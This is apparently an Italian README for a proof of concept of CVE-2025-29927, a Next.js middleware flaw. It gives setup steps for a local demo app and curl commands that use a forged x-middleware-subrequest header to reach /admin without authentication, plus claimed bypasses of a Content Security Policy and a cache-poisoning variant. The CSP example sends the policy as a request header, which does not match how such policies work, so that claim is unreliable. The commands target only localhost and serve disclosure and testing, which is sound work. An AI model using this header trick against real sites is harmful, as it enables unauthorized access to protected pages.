
CVE-2025-29927 Prova di concetto
Questo PoC dimostra CVE-2025-29927, una vulnerabilità nel middleware Next.js che consente agli attaccanti di bypassare i meccanismi di autenticazione, autorizzazione e CSP utilizzando l'header x-middleware-subrequest.
Versioni di Next.js dalla 11.1.4 alla 15.1.7
1️⃣ Clona e installa il PoC
git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo
cd my-next-app
npm install
npm run dev
L'applicazione si avvierà su http://localhost:3000
1- Usa x-middleware-subrequest per ottenere accesso non autorizzato:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
💥 Risultato atteso: la risposta restituisce admin admin, anche se l'autenticazione è stata bypassata.

Se la CSP è applicata tramite middleware, bypassala:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Content-Security-Policy: default-src 'self'" \
http://localhost:3000/admin
💥 Risultato atteso: la CSP viene ignorata, consentendo l'esecuzione di script dannosi.
Sfrutta il cache poisoning forzando una risposta malformata:
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-H "Cache-Control: public, max-age=3600" \
http://localhost:3000/admin
💥 Risultato atteso: la pagina viene memorizzata nella cache con contenuti errati, disturbando gli utenti normali.